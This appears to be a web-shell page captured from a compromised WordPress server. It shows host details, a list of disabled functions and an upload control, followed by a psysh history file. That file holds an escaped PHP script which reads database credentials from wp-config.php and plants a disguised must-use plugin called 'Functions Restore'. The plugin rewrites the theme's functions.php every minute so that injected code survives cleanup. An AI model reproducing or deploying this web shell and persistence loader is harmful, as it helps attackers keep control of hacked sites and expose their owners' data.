HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web202 (5061)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client33/web202/web/wp-content/psysh_history
_HiStOrY_V2_
//\012error_reporting(E_ALL);\012ini_set('display_errors',\0401);\012\012$mode\040=\040'install';\012$result\040=\040[];\012\012$possible_paths\040=\040[\012\040\040\040\040__DIR__\040.\040'/wp-config.php',\012\040\040\040\040__DIR__\040.\040'/../wp-config.php',\012\040\040\040\040__DIR__\040.\040'/../../wp-config.php'\012];\012\012$wp_config_file\040=\040null;\012foreach\040($possible_paths\040as\040$p)\040{\012\040\040\040\040if\040(file_exists($p))\040{\012\040\040\040\040\040\040\040\040$wp_config_file\040=\040$p;\012\040\040\040\040\040\040\040\040break;\012\040\040\040\040}\012}\012\012if\040(!$wp_config_file)\040die("❌\040wp-config.php\040not\040found\134n");\012$result[]\040=\040"ℹ️\040wp-config.php\040found:\040$wp_config_file";\012\012$site_root\040=\040realpath(dirname($wp_config_file));\012$base_path\040=\040$site_root\040.\040'/wp-content';\012$mu_path\040=\040$base_path\040.\040'/mu-plugins';\012$backup_path\040=\040$base_path\040.\040'/functions_backup.txt';\012$plugin_file\040=\040$mu_path\040.\040'/functions-restore.php';\012\012$wp_config\040=\040file_get_contents($wp_config_file);\012\012preg_match("/define\134(\134s*'DB_NAME'\134s*,\134s*'([^']+)'\134s*\134)/",\040$wp_config,\040$m);\040$db_name\040=\040$m[1]\040??\040null;\012preg_match("/define\134(\134s*'DB_USER'\134s*,\134s*'([^']+)'\134s*\134)/",\040$wp_config,\040$m);\040$db_user\040=\040$m[1]\040??\040null;\012preg_match("/define\134(\134s*'DB_PASSWORD'\134s*,\134s*'([^']+)'\134s*\134)/",\040$wp_config,\040$m);\040$db_pass\040=\040$m[1]\040??\040null;\012preg_match("/define\134(\134s*'DB_HOST'\134s*,\134s*'([^']+)'\134s*\134)/",\040$wp_config,\040$m);\040$db_host\040=\040$m[1]\040??\040null;\012preg_match("/\134\134\134$table_prefix\134s*=\134s*'([^']+)'/",\040$wp_config,\040$m);\040$table_prefix\040=\040$m[1]\040??\040'wp_';\012\012$result[]\040=\040"ℹ️\040Database\040info\040loaded\040from\040wp-config.php";\012\012$active_theme\040=\040$child_theme\040=\040null;\012\012$mysqli\040=\040new\040mysqli($db_host,\040$db_user,\040$db_pass,\040$db_name);\012if\040(!$mysqli->connect_errno)\040{\012\040\040\040\040$res\040=\040$mysqli->query("SELECT\040option_value\040FROM\040{$table_prefix}options\040WHERE\040option_name='template'\040LIMIT\0401");\012\040\040\040\040if\040($res\040&&\040$row\040=\040$res->fetch_assoc())\040$active_theme\040=\040trim($row['option_value']);\012\040\040\040\040$res\040=\040$mysqli->query("SELECT\040option_value\040FROM\040{$table_prefix}options\040WHERE\040option_name='stylesheet'\040LIMIT\0401");\012\040\040\040\040if\040($res\040&&\040$row\040=\040$res->fetch_assoc())\040$child_theme\040=\040trim($row['option_value']);\012\040\040\040\040$mysqli->close();\012}\012\012$result[]\040=\040"🎯\040Parent\040theme:\040$active_theme";\012$result[]\040=\040"🎯\040Child\040theme:\040$child_theme";\012\012$plugin_code\040=\040<<<'PHP'\012/*\012Plugin\040Name:\040Functions\040Restore\012Description:\040Restore\040functions.php\040from\040TXT\040backup\012Author:\040Function\012Version:\0401.6\012*/\012\012add_action('fr_cron_event',\040function\040()\040{\012\040\040\040\040$functions_file\040=\040get_stylesheet_directory()\040.\040'/functions.php';\012\040\040\040\040$backup_file\040\040\040\040=\040WP_CONTENT_DIR\040.\040'/functions_backup.txt';\012\012\040\040\040\040if\040(!file_exists($backup_file))\040return;\012\012\040\040\040\040$backup_content\040=\040file_get_contents($backup_file);\012\012\040\040\040\040if\040(!file_exists($functions_file)\040||\040md5_file($functions_file)\040!==\040md5($backup_content))\040{\012\040\040\040\040\040\040\040\040file_put_contents($functions_file,\040$backup_content);\012\040\040\040\040\040\040\040\040error_log('functions.php\040restored\040from\040TXT\040backup');\012\040\040\040\040}\012});\012\012if\040(!wp_next_scheduled('fr_cron_event'))\040{\012\040\040\040\040wp_schedule_event(time(),\040'every_1min',\040'fr_cron_event');\012}\012\012add_filter('cron_schedules',\040function\040($schedules)\040{\012\040\040\040\040$schedules['every_1min']\040=\040['interval'\040=>\04060,\040'display'\040=>\040__('Every\0401\040Minute')];\012\040\040\040\040return\040$schedules;\012});\012PHP;\012\012if\040($mode\040===\040'install')\040{\012\040\040\040\040if\040(!file_exists($mu_path))\040{\012\040\040\040\040\040\040\040\040mkdir($mu_path,\0400755,\040true);\012\040\040\040\040\040\040\040\040$result[]\040=\040"📁\040mu-plugins\040folder\040created";\012\040\040\040\040}\012\012\040\040\040\040$php_tag\040=\040chr(60)\040.\040'?'\040.\040'php';\012\040\040\040\040file_put_contents($plugin_file,\040$php_tag\040.\040"\134n"\040.\040$plugin_code);\012\040\040\040\040$result[]\040=\040"🔒\040MU-plugin\040installed:\040$plugin_file";\012\012\040\040\040\040$theme_folder\040=\040$active_theme;\012\040\040\040\040$theme_functions\040=\040$base_path\040.\040"/themes/$theme_folder/functions.php";\012\012\040\040\040\040if\040(file_exists($theme_functions))\040{\012\040\040\040\040\040\040\040\040file_put_contents($backup_path,\040file_get_contents($theme_functions));\012\040\040\040\040\040\040\040\040$result[]\040=\040"📂\040TXT\040backup\040created\040from\040parent\040theme:\040$theme_folder";\012\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040$result[]\040=\040"⚠️\040functions.php\040not\040found\040in\040parent\040theme:\040$theme_folder";\012\040\040\040\040}\012\012}\040elseif\040($mode\040===\040'uninstall')\040{\012\040\040\040\040if\040(file_exists($plugin_file))\040unlink($plugin_file);\012\040\040\040\040if\040(file_exists($backup_path))\040unlink($backup_path);\012\040\040\040\040$result[]\040=\040"❌\040MU-plugin\040and\040backup\040removed";\012}\040else\040{\012\040\040\040\040$result[]\040=\040"❌\040Invalid\040mode\040(install|uninstall)";\012}\012\012print_r($result);